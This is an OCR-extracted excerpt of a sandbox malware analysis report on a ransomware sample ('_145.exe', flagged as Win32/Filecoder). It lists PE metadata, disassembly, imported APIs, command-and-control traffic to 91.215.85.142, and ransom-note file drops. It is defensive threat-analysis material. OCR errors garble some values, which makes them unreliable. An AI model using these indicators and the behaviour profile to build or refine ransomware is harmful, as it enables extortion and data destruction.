Image File Characteristics: EXECUTABLE_IMAGE, 32BIT_MACHINE

DLL Characteristics: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp: 0x64DE7FCB [Thu Aug 17 20:15:07 2023 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 1

File Version Major: 5

File Version Minor: 1

Subsystem Version Major: 5

Subsystem Version Minor: 1

Import Hash: 78dcbf78ff2f594b643a10aeb85b9d87

Entrypoint Preview
Instruction

call 00007F28948700CDh

jmp 00007F289486FA8Fh

and dword ptr [ecx+04h], 00000000h
mov eax, ecx

and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00422420h
mov dword ptr [ecx], 00422418h

ret

push ebp

mov ebp, esp

sub esp, 0Ch

lea ecx, dword ptr [ebp-0Ch]

call 00007F289486FBEFh

push 0042C844h

lea eax, dword ptr [ebp-0Ch]

push eax

call 00007F2894870A18h

int3

push ebp

mov ebp, esp

and dword ptr [0042F288h], 00000000h
sub esp, 24h

or dword ptr [0042E010h], 01h

push 0000000Ah

call dword ptr [0042220Ch]
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Instruction

test eax, eax

je 00007F289486FDBFh

and dword ptr [ebp-10h], 00000000h
XOr eax, eax

push ebx

push esi

push edi

XOr ecx, ecx

lea edi, dword ptr [ebp-24h]
push ebx

cpuid

mov esi, ebx

pop ebx

mov dword ptr [edi], eax

mov dword ptr [edi+04h], esi
mov dword ptr [edi+08h], ecx
XOr €CX, €CX

mov dword ptr [edi+0Ch], edx
mov eax, dword ptr [ebp-24h]
mov edi, dword ptr [ebp-1Ch]
mov dword ptr [ebp-0Ch], eax
xor edi, 6C65746Eh

mov eax, dword ptr [ebp-18h]
xor eax, 49656E69h

mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp-20h]
xor eax, 756E6547h

mov dword ptr [ebp-04h], eax
Xor eax, eax

inc eax

push ebx

cpuid

mov esi, ebx

pop ebx

lea ebx, dword ptr [ebp-24h]
mov dword ptr [ebx], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebx+04h], esi
or eax, edi

or eax, dword ptr [ebp-08h]
mov dword ptr [ebx+08h], ecx

mov dword ptr [ebx+0Ch], edx

Data Directories

Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IMPORT 0Ox2cea8 0xc8 .rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x35000 0x1e0 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0
IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x36000 0x223c .reloc
IMAGE_DIRECTORY_ENTRY_DEBUG 0x2bf58 0x38 .rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x2c080 0x18 .rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x2bf90 0x40 .rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x22000 0x2d8 .rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0
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Name

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name Virtual Address Virtual Size Raw Size

text 0x1000 0x20691 0x20800

.rdata  0x22000 Oxbfic 0xc000

.data  0x2e000 0x6da8 0x1000

.rsrc 0x35000 0x1e0 0x200

.reloc 0x36000 0x223c 0x2400

Resources

Name RVA Size

RT_MANIFEST 0x35060 0x17d

Imports
DLL

KERNEL32.dll

USER32.dll
ADVAPI32.dlIl

SHELL32.dIl
NETAPI32.dll
SHLWAPI.dIl
IPHLPAPI.DLL
WS2_32.dll
WININET.dII

Possible Origin

Language of compilation system

Copyright Joe Security LLC 2023

Virtual Address

0x0
0x0

Xored PE

False

False

False

False

False

Type

XML 1.0 document, ASCII text, with CRLF

Virtual Size Is in Section

0x0
0x0

ZLIB Complexity File Type Entropy Characteristics

0.5460036057692308 6.6877029415223035 IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_EXECU
TE,

IMAGE_SCN_MEM_READ

data

0.42681884765625 5.051031256070102 IMAGE_SCN_CNT_INITIALI
ZED_DATA,

IMAGE_SCN_MEM_READ

data

0.221923828125 3.938073637158958 IMAGE_SCN_CNT_INITIALI
ZED_DATA,
IMAGE_SCN_MEM_READ,

IMAGE_SCN_MEM_WRITE

DOS executable (block
device driver
\277DN\346@\273)

0.52734375 4.7122981932940915 IMAGE_SCN_CNT_INITIALI
ZED_DATA,

IMAGE_SCN_MEM_READ

data

0.7593315972222222 6.564929158394369 IMAGE_SCN_CNT_INITIALI
ZED_DATA,
IMAGE_SCN_MEM_DISCAR
DABLE,

IMAGE_SCN_MEM_READ

data

Language Country ZLIB Complexity

English United States 0.5931758530183727

line terminators

Import

GetCurrentThreadld, GetModuleHandleA, GetLocalelnfoA, OpenProcess, PostQueuedCompletionStatus,
SetFileAttributesW, CreateToolhelp32Snapshot, MultiByteToWideChar, Sleep, GetLastError, Process32NextW,
CreateFileA, SetEvent, GetDiskFreeSpaceExW, GetCurrentThread, TerminateThread, LoadLibraryA, IstrcatW,
CloseHandle, GetNativeSystemInfo, GetSysteminfo, CreateThread, GetWindowsDirectoryA,
SetVolumeMountPointW, GetWindowsDirectoryW, GetProcAddress, SetFilePointerEx, LocalFree,
DeleteCriticalSection, ExitProcess, GetCurrentProcessld, GetModuleHandleW, CopyFileW, WideCharToMultiByte,
GetVolumePathNamesForVolumeNameW, IstrcpyW, SleepEx, GetDiskFreeSpaceExA, GetFileAttributesW,
FindNextVolumeW, IstrcmpiW, CreateloCompletionPort, GetTickCount, IstrcmpW, MoveFileW, GetDriveTypeW,
GetFileTime, GetComputerNameA, QueryDosDeviceW, DuplicateHandle, CreateEventW, FindVolumeClose,
GetFileType, WriteConsoleW, SetEndOfFile, ReadConsoleW, HeapSize, GetConsoleMode, GetConsoleOutputCP,
CreateFileW, WaitForSingleObject, FindClose, IstrlenA, GetQueuedCompletionStatus, SetErrorMode,
InitializeCriticalSection, LeaveCriticalSection, WaitForMultipleObjects, GetModuleFileNameW,
GetUserDefaultLangID, TerminateProcess, WriteFile, IstrlenW, GetCurrentProcess, FindNextFileW,
GetCommandLineW, EnterCriticalSection, FindFirstVolumeW, FindFirstFileExW, GetFileSizeEx, GetLogicalDrives,
GetVolumelnformationW, ReadFile, FlushFileBuffers, GetStringTypeW, SetStdHandle, GetProcessHeap,
FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetCPInfo, GetOEMCP, GetACP,
IsValidCodePage, QueryPerformanceCounter, CreateEventA, LCMapStringW, HeapAlloc, HeapFree, HeapReAlloc,
GetStdHandle, GetModuleHandleExW, LoadLibraryExW, FreeLibrary, TIsFree, TIsSetValue,
UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent,
InitializeCriticalSectionAndSpinCount, ResetEvent, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupinfoW,
GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, RaiseException, SetLastError, EncodePointer, TIsAlloc,
TlsGetValue, DecodePointer

CreateWindowExW, GetCursorPos, DefWindowProcW, RegisterClassW

OpenSCManagerW, OpenThreadToken, LookupPrivilegeValueW, AdjustTokenPrivileges, CreateServiceW,
RegCloseKey, CryptAcquireContextW, CloseServiceHandle, RegQueryValueExA, CryptGenRandom,
AllocateAndInitializeSid, SetEntriesInAclW, SetNamedSecurityInfoW, RegSetValueExW, OpenProcessToken,
FreeSid, StartServiceW, RegOpenKeyExA, RegOpenKeyExW, CryptReleaseContext

CommandLineToArgvW, ShellExecuteW, ShellExecuteA

NetShareEnum, NetApiBufferFree

wnsprintfA, StrCmpNIW, StrCmpNW, StrDupW, StrStrIlW, UrlUnescapeA, UrlEscapeA, SHDeleteKeyW, wnsprintfW
GetlpNetTable

inet_ntoa

InternetCrackUrlW, InternetQueryOptionW, InternetCloseHandle, InternetConnectW, InternetSetOptionW,
InternetOpenW, InternetQueryDataAvailable, HttpOpenRequestW, InternetReadFile, HttpSendRequestW

Country where language is spoken Map
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Language of compilation system

English

Network Behavior

Snort IDS Alerts

Timestamp Protocol

192.168.2.591.215.85.142 TCP
49719802039815

11/06/23-

19:44:32.807981

192.168.2.591.215.85.142 TCP
49721802039815

11/06/23-

19:44:35.420553

192.168.2.591.215.85.142 TCP
49715802039815

11/06/23-

19:44:31.537853

192.168.2.591.215.85.142 TCP
49720802039815

11/06/23-

19:44:34.123034

192.168.2.591.215.85.142 TCP
49722802039815

11/06/23-

19:44:36.871461

192.168.2.591.215.85.142 TCP
49711802039815

11/06/23-

19:44:28.316418

192.168.2.591.215.85.142 TCP
49713802039815

11/06/23-

19:44:30.057662

Network Port Distribution

TCP Packets

Timestamp

Nov 6, 2023 19:44:27.616110086 CET
Nov 6, 2023 19:44:27.788331985 CET
Nov 6, 2023 19:44:27.789417028 CET

Copyright Joe Security LLC 2023

S

D
203981
5

203981
5

203981
5

203981
5

203981
5

203981
5

203981
5

Country where language is spoken

United States

Message

ET TROJAN Win32/Filecoder.OJC CnC Checkin

ET TROJAN Win32/Filecoder.OJC CnC Checkin

ET TROJAN Win32/Filecoder.OJC CnC Checkin

ET TROJAN Win32/Filecoder.OJC CnC Checkin

ET TROJAN Win32/Filecoder.OJC CnC Checkin

ET TROJAN Win32/Filecoder.OJC CnC Checkin

ET TROJAN Win32/Filecoder.OJC CnC Checkin

Source Port
49710

80

49710

Total Packets: 49

© 53 (DNS)
® 80 (HTTP)

Dest Port
80

49710

80

Source IP
192.168.2.5
173.231.16.77
192.168.2.5

Map

Source Dest

Port

49719

49721

49715

49720

49722

49711

49713

Source IP Dest IP

Port

80 192.168.25 91.215.85.14
2

80 192.168.25 91.215.85.14
2

80 192.168.2.5 91.215.85.14
2

80 192.168.25 91.215.85.14
2

80 192.168.25 91.215.85.14
2

80 192.168.25 91.215.85.14
2

80 192.168.2.5 91.215.85.14
2

Dest IP

173.231.16.77

192.168.2.5

173.231.16.77
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Timestamp

Nov 6, 2023 19:44:27.790328026 CET
Nov 6, 2023 19:44:27.962529898 CET
Nov 6, 2023 19:44:27.962812901 CET
Nov 6, 2023 19:44:27.962918997 CET
Nov 6, 2023 19:44:27.991987944 CET
Nov 6, 2023 19:44:28.315146923 CET
Nov 6, 2023 19:44:28.315238953 CET
Nov 6, 2023 19:44:28.316417933 CET
Nov 6, 2023 19:44:28.639493942 CET
Nov 6, 2023 19:44:29.525533915 CET
Nov 6, 2023 19:44:29.525660038 CET
Nov 6, 2023 19:44:29.683491945 CET
Nov 6, 2023 19:44:29.685591936 CET
Nov 6, 2023 19:44:30.006913900 CET
Nov 6, 2023 19:44:30.006979942 CET
Nov 6, 2023 19:44:30.006993055 CET
Nov 6, 2023 19:44:30.007066965 CET
Nov 6, 2023 19:44:30.057662010 CET
Nov 6, 2023 19:44:30.378904104 CET
Nov 6, 2023 19:44:30.861908913 CET
Nov 6, 2023 19:44:30.862032890 CET
Nov 6, 2023 19:44:31.151946068 CET
Nov 6, 2023 19:44:31.153306007 CET
Nov 6, 2023 19:44:31.473618984 CET
Nov 6, 2023 19:44:31.473866940 CET
Nov 6, 2023 19:44:31.476927042 CET
Nov 6, 2023 19:44:31.477006912 CET
Nov 6, 2023 19:44:31.537853003 CET
Nov 6, 2023 19:44:31.861716986 CET
Nov 6, 2023 19:44:32.254592896 CET
Nov 6, 2023 19:44:32.335727930 CET
Nov 6, 2023 19:44:32.335819006 CET
Nov 6, 2023 19:44:32.462935925 CET
Nov 6, 2023 19:44:32.464313984 CET
Nov 6, 2023 19:44:32.786459923 CET
Nov 6, 2023 19:44:32.786490917 CET
Nov 6, 2023 19:44:32.786567926 CET
Nov 6, 2023 19:44:32.786647081 CET
Nov 6, 2023 19:44:32.807981014 CET
Nov 6, 2023 19:44:33.130400896 CET
Nov 6, 2023 19:44:33.256531000 CET
Nov 6, 2023 19:44:33.654077053 CET
Nov 6, 2023 19:44:33.654135942 CET
Nov 6, 2023 19:44:33.796560049 CET
Nov 6, 2023 19:44:33.798338890 CET
Nov 6, 2023 19:44:34.118844032 CET
Nov 6, 2023 19:44:34.118943930 CET
Nov 6, 2023 19:44:34.121896982 CET
Nov 6, 2023 19:44:34.122368097 CET
Nov 6, 2023 19:44:34.123034000 CET
Nov 6, 2023 19:44:34.446696043 CET
Nov 6, 2023 19:44:34.856112957 CET
Nov 6, 2023 19:44:34.856185913 CET
Nov 6, 2023 19:44:35.086875916 CET
Nov 6, 2023 19:44:35.088118076 CET
Nov 6, 2023 19:44:35.262399912 CET
Nov 6, 2023 19:44:35.411026955 CET
Nov 6, 2023 19:44:35.411050081 CET
Nov 6, 2023 19:44:35.418801069 CET

Copyright Joe Security LLC 2023

Source Port
49710
80

80
49710
49711
80
49711
49711
80

80
49711
49711
49713
80

80
49711
49713
49713
80

80
49713
49713
49715
80
49713
80
49715
49715
80
49718
80
49715
49715
49719
80

80
49719
49715
49719
80
49718
80
49719
49719
49720
80
49719
80
49720
49720
80

80
49720
49720
49721
49718
80

80
49720

Dest Port
80
49710
49710
80

80
49711
80

80
49711
49711
80

80

80
49711
49713
80

80

80
49713
49713
80

80

80
49713
80
49715
80

80
49715
135
49715
80

80

80
49719
49715
80

80

80
49719
135
49719
80

80

80
49719
80
49720
80

80
49720
49720
80

80

80
135
49721
49720
80

Source IP
192.168.2.5
173.231.16.77
173.231.16.77
192.168.2.5
192.168.2.5
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
192.168.2.5
91.215.85.142
192.168.2.5
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
192.168.2.5
91.215.85.142
192.168.2.5
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
192.168.2.5
91.215.85.142
192.168.2.5
91.215.85.142
192.168.2.5
192.168.2.5
192.168.2.5
91.215.85.142
192.168.2.5
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5

Dest IP
173.231.16.77
192.168.2.5
192.168.2.5
173.231.16.77
91.215.85.142
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
91.215.85.142
192.168.2.5
91.215.85.142
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.1
192.168.2.5
91.215.85.142
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.1
192.168.2.5
91.215.85.142
91.215.85.142
91.215.85.142
192.168.2.5
91.215.85.142
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
91.215.85.142
192.168.2.1
192.168.2.5
192.168.2.5
91.215.85.142

Page 58 of 379



Timestamp

Nov 6, 2023 19:44:35.418834925 CET
Nov 6, 2023 19:44:35.420552969 CET
Nov 6, 2023 19:44:35.744262934 CET
Nov 6, 2023 19:44:36.256839991 CET
Nov 6, 2023 19:44:36.257538080 CET
Nov 6, 2023 19:44:36.492935896 CET
Nov 6, 2023 19:44:36.495146036 CET
Nov 6, 2023 19:44:36.815848112 CET
Nov 6, 2023 19:44:36.815918922 CET
Nov 6, 2023 19:44:36.820609093 CET
Nov 6, 2023 19:44:36.820708990 CET
Nov 6, 2023 19:44:36.871460915 CET
Nov 6, 2023 19:44:37.196966887 CET
Nov 6, 2023 19:44:37.655527115 CET
Nov 6, 2023 19:44:37.668216944 CET
Nov 6, 2023 19:44:39.270287037 CET
Nov 6, 2023 19:44:47.283628941 CET
Nov 6, 2023 19:44:53.278456926 CET
Nov 6, 2023 19:44:54.272826910 CET
Nov 6, 2023 19:44:56.290222883 CET
Nov 6, 2023 19:45:00.294403076 CET
Nov 6, 2023 19:45:08.308023930 CET
Nov 6, 2023 19:45:32.963087082 CET
Nov 6, 2023 19:45:32.965887070 CET
Nov 6, 2023 19:45:42.659439087 CET
Nov 6, 2023 19:45:42.661524057 CET
Nov 6, 2023 19:46:17.321388006 CET
Nov 6, 2023 19:46:17.321777105 CET
Nov 6, 2023 19:46:17.493843079 CET
Nov 6, 2023 19:46:17.646997929 CET

UDP Packets

Timestamp

Nov 6, 2023 19:44:27.445254087 CET
Nov 6, 2023 19:44:27.598443031 CET
Nov 6, 2023 19:44:32.249718904 CET
Nov 6, 2023 19:44:32.250797987 CET
Nov 6, 2023 19:44:32.252070904 CET
Nov 6, 2023 19:44:53.256824970 CET
Nov 6, 2023 19:44:53.261089087 CET
Nov 6, 2023 19:44:53.261859894 CET
Nov 6, 2023 19:44:53.262784004 CET
Nov 6, 2023 19:45:15.234919071 CET
Nov 6, 2023 19:46:49.205913067 CET

ICMP Packets

Timestamp

Nov 6, 2023 19:44:32.249823093 CET

Nov 6, 2023 19:44:32.250818014 CET

Nov 6, 2023 19:44:32.252084017 CET

Nov 6, 2023 19:44:32.254620075 CET

Nov 6, 2023 19:44:33.256571054 CET

Nov 6, 2023 19:44:35.262451887 CET

Copyright Joe Security LLC 2023

Source Port
49721
49721
80

80
49721
49721
49722
80
49721
80
49722
49722
80

80
49722
49718
49718
49729
49729
49729
49729
49729
80
49710
80
49722
49722
49710
80

80

Source Port
50755
53
65186
65186
65186
65186
65186
65186
65186
65186
65186

Dest Port
80

80
49721
49721
80

80

80
49721
80
49722
80

80
49722
49722
80
135
135
135
135
135
135
135
49710
80
49722
80

80

80
49710
49722

Dest Port

Source IP

192.168.2.1

192.168.2.1

192.168.2.1

192.168.2.1

192.168.2.1

192.168.2.1

Source IP
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
192.168.2.5
91.215.85.142
192.168.2.5
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
173.231.16.77
192.168.2.5
91.215.85.142
192.168.2.5
192.168.2.5
192.168.2.5
173.231.16.77
91.215.85.142

Source IP
192.168.2.5
1.1.14
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5
192.168.2.5

Dest IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

Checksum

8309

8309

8309

827a

827a

827a

Dest IP

91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
91.215.85.142
91.215.85.142
192.168.2.5
91.215.85.142
192.168.2.5
91.215.85.142
91.215.85.142
192.168.2.5
192.168.2.5
91.215.85.142
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.5
173.231.16.77
192.168.2.5
91.215.85.142
91.215.85.142
173.231.16.77
192.168.2.5
192.168.2.5

Dest IP
1114
192.168.2.5
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.1
192.168.2.1

Code
(Port
unreachable)

(Port
unreachable)

(Port
unreachable)

(Port
unreachable)

(Port
unreachable)

(Port
unreachable)

Type

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable
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Timestamp

Nov 6, 2023 19:44:39.270380974 CET
Nov 6, 2023 19:44:47.283689022 CET
Nov 6, 2023 19:44:53.256860018 CET
Nov 6, 2023 19:44:53.261095047 CET
Nov 6, 2023 19:44:53.261864901 CET
Nov 6, 2023 19:44:53.262789011 CET
Nov 6, 2023 19:44:53.278506041 CET
Nov 6, 2023 19:44:54.272872925 CET
Nov 6, 2023 19:44:56.290271997 CET
Nov 6, 2023 19:45:00.294435024 CET
Nov 6, 2023 19:45:08.308075905 CET
Nov 6, 2023 19:45:15.234966040 CET

Nov 6, 2023 19:46:49.205955029 CET

DNS Queries
Timestamp

Nov 6, 2023 19:44:27.445254087
CET

DNS Answers

Timestamp Source IP
Nov 6, 2023
19:44:27.598443031
CET

Nov 6, 2023
19:44:27.598443031
CET

Nov 6, 2023
19:44:27.598443031
CET

1.1.1.1

1.1.11

1.1.11

Nov 6, 2023
19:44:27.598443031
CET

1111

Source IP

192.168.2.5

Dest IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

HTTP Request Dependency Graph

« api.ipify.org

o 91.215.85.142

Statistics

Behavior

Copyright Joe Security LLC 2023

Dest IP

1.1.1.1

Trans ID

0x80a9

0x80a9

0x80a9

0x80a9

Trans ID

0x80a9

Reply Code

No error (0)

No error (0)

No error (0)

No error (0)

Source IP Dest IP Checksum Code
192.168.2.1 192.168.2.5 827a (Port
unreachable)
192.168.2.1 192.168.2.5 827a (Port
unreachable)
192.168.2.1 192.168.2.5 8305 (Port
unreachable)
192.168.2.1 192.168.2.5 8305 (Port
unreachable)
192.168.2.1 192.168.2.5 8305 (Port
unreachable)
192.168.2.1 192.168.2.5 8305 (Port
unreachable)
192.168.2.1 192.168.2.5 827a (Port
unreachable)
192.168.2.1 192.168.2.5 827a (Port
unreachable)
192.168.2.1 192.168.2.5 827a (Port
unreachable)
192.168.2.1 192.168.2.5 827a (Port
unreachable)
192.168.2.1 192.168.2.5 827a (Port
unreachable)
192.168.2.1 192.168.2.5 8305 (Port
unreachable)
192.168.2.1 192.168.2.5 8305 (Port
unreachable)
OP Code Name Type Class
Standard query  api.ipify.org A (IP address) IN (0x0001)
(0)
Name CName Address Type Class
api.ipify.org api4.ipify.org CNAME IN
(Canonical (0x0001)
name)
api4.ipify.org 173.231.16.77 A (IP address) IN
(0x0001)
api4.ipify.org 104.237.62.21 A (IP address) IN
2 (0x0001)
api4.ipify.org 64.185.227.15 A (IP address) IN

6

(0x0001)

Type

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

Destination
Unreachable

DNS over
HTTPS

false

DNS over
HTTPS

false

false

false

false
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Click to jump to process

System Behavior

Analysis Process: _145.exe PID: 5700, Parent PID: 1028

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:
Reputation:

Has exited:

File Activities

File Created
File Path

C:\HOW TO BACK FILES.txt

E:\HOW TO BACK FILES.txt

FAHOW TO BACK FILES.txt

E:\Recovery\WindowsRE\HOW TO BACK FILES.txt

E:\Recovery\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-

2476756634-1000\HOW TO BACK FILES.txt

F:\EFI\Microsoft\Recovery\HOW TO BACK FILES.txt

0

19:44:22

06/11/2023
C:\Users\user\Desktop\_145.exe

true

C:\Users\user\Desktop\ 145.exe

0xe50000

197120 bytes
B54D7DA0FE6869006FFD3B9B470FODC4
true

true

C, C++ or other language
low

false

Access

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

Copyright Joe Security LLC 2023

o _145.exe

@ vssadmin.exe

@ cmd.exe
@ cmd.exe

@ conhost.exe
@ conhost.exe
@ conhost.exe

@ cmd.exe
sc.exe

@ conhost.exe
@ notepad.exe

Attributes

device

device

device

device

device

device

device

Options

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 E54B75
1 E54B75
1 E54B75
2 E54B75
1 E54B75
1 E54B75
2 E54B75

Symbol

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW

CreateFileW
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File Path

F:\EFI\MicrosofttHOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-
2476756634-1001\HOW TO BACK FILES.txt

FAEFNHOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-
2476756634-1002\HOW TO BACK FILES.txt

C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-
2476756634-1003\HOW TO BACK FILES.txt

C:\$Recycle.Bin\HOW TO BACK FILES.txt

C:\$WinREAgent\HOW TO BACK FILES.txt

C:\Documents and Settings\user\.ms-ad\HOW TO BACK
FILES.txt

C:\Documents and Settings\user\3D Objects\HOW TO
BACK FILES.txt

C:\Documents and Settings\user\Contacts\HOW TO BACK
FILES.txt

C:\Documents and Settings\user
\Cookies\DNTException\Low\HOW TO BACK FILES.txt

C:\Documents and Settings\user
\Cookies\DNTException\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Cookies\ESE\HOW TO
BACK FILES.txt

C:\Documents and Settings\user\Cookies\Low\HOW TO
BACK FILES.txt

C:\Documents and Settings\user
\Cookies\PrivaclE\Low\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Cookies\PrivaclE\HOW
TO BACK FILES.txt

C:\Documents and Settings\user\Cookies\HOW TO BACK
FILES.txt

C:\Documents and Settings\user
\Desktop\DTBZGIOOSO\HOW TO BACK FILES.txt

C:\Documents and Settings\user
\Desktop\FACWLRWHGG\HOW TO BACK FILES.txt

C:\Documents and Settings\user
\Desktop\IVHSHTCODI\HOW TO BACK FILES.txt

C:\Documents and Settings\user
\Desktop\JDSOXXXWOA\HOW TO BACK FILES.txt

C:\Documents and Settings\user
\Desktop\KATAXZVCPS\HOW TO BACK FILES.txt

C:\Documents and Settings\user
\Desktop\LTKMYBSEYZ\HOW TO BACK FILES.txt

C:\Documents and Settings\user
\Desktop\NHPKIZUUSG\HOW TO BACK FILES.txt

C:\Documents and Settings\user
\Desktop\QVTVNIBKSD\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Access

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Options

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
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C:\Documents and Settings\user read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
\Desktop\UQMPCTZARJ\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Desktop\HOW TO BACK  read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
\Documents\DTBZGIOOSO\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
\Documents\FACWLRWHGG\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
\Documents\IVHSHTCODINHOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
\Documents\JDSOXXXWOA\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
\Documents\KATAXZVCPS\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
\Documents\LTKMYBSEYZ\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Documents\My read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Music\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
